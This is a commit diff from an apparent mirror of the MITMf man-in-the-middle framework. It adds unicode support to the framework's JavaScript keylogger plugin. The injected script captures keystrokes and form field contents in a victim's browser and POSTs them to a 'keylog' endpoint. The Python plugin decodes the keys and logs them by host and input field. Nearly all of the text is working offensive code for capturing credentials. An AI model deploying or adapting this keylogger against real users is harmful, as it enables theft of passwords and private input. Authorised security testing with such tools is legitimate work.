mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-07 05:22:15 -07:00
Add unicode support for jskeylogger plugin, fixes #56
This commit is contained in:
parent
05588febef
commit
752fafaf4b
2 changed files with 7 additions and 7 deletions
|
@ -64,7 +64,7 @@ function function2(e)
|
||||||
|
|
||||||
if (var3 != "d" && var3 != 8 && var3 != 9 && var3 != 13)
|
if (var3 != "d" && var3 != 8 && var3 != 9 && var3 != 13)
|
||||||
{
|
{
|
||||||
andxhr(var3.toString(16), srcname);
|
andxhr(encodeURIComponent(var3), srcname);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -85,7 +85,7 @@ function function1(e)
|
||||||
var3 = (e) ? e.keyCode : e.which;
|
var3 = (e) ? e.keyCode : e.which;
|
||||||
if (var3 == 9 || var3 == 8 || var3 == 13)
|
if (var3 == 9 || var3 == 8 || var3 == 13)
|
||||||
{
|
{
|
||||||
andxhr(var3.toString(16), srcname);
|
andxhr(encodeURIComponent(var3), srcname);
|
||||||
}
|
}
|
||||||
else if (var3 == 0)
|
else if (var3 == 0)
|
||||||
{
|
{
|
||||||
|
@ -93,7 +93,7 @@ function function1(e)
|
||||||
text = document.getElementById(id).value;
|
text = document.getElementById(id).value;
|
||||||
if (text.length != 0)
|
if (text.length != 0)
|
||||||
{
|
{
|
||||||
andxhr(text.toString(16), srcname);
|
andxhr(encodeURIComponent(text), srcname);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -107,7 +107,7 @@ function andxhr(key, inputName)
|
||||||
}
|
}
|
||||||
var2= var2 + key + ",";
|
var2= var2 + key + ",";
|
||||||
xhr.open("POST", "keylog", true);
|
xhr.open("POST", "keylog", true);
|
||||||
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
|
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded; charset=utf-8");
|
||||||
xhr.send(var2 + '&&' + inputName);
|
xhr.send(var2 + '&&' + inputName);
|
||||||
|
|
||||||
if (key == 13 || var2.length > 3000)
|
if (key == 13 || var2.length > 3000)
|
||||||
|
|
|
@ -52,11 +52,11 @@ class JSKeylogger(Inject, Plugin):
|
||||||
nice = ''
|
nice = ''
|
||||||
else:
|
else:
|
||||||
try:
|
try:
|
||||||
nice += n.decode('hex')
|
nice += unichr(int(n))
|
||||||
except:
|
except:
|
||||||
self.clientlog.error("Error decoding char: {}".format(n), extra=request.clientInfo)
|
self.clientlog.error("Error decoding char: {}".format(n), extra=request.clientInfo)
|
||||||
|
|
||||||
self.clientlog.info("Host: {} | Field: {} | Keys: {}".format(request.headers['host'], input_field, nice), extra=request.clientInfo)
|
self.clientlog.info(u"Host: {} | Field: {} | Keys: {}".format(request.headers['host'], input_field, nice), extra=request.clientInfo)
|
||||||
|
|
||||||
def options(self, options):
|
def options(self, options):
|
||||||
pass
|
pass
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue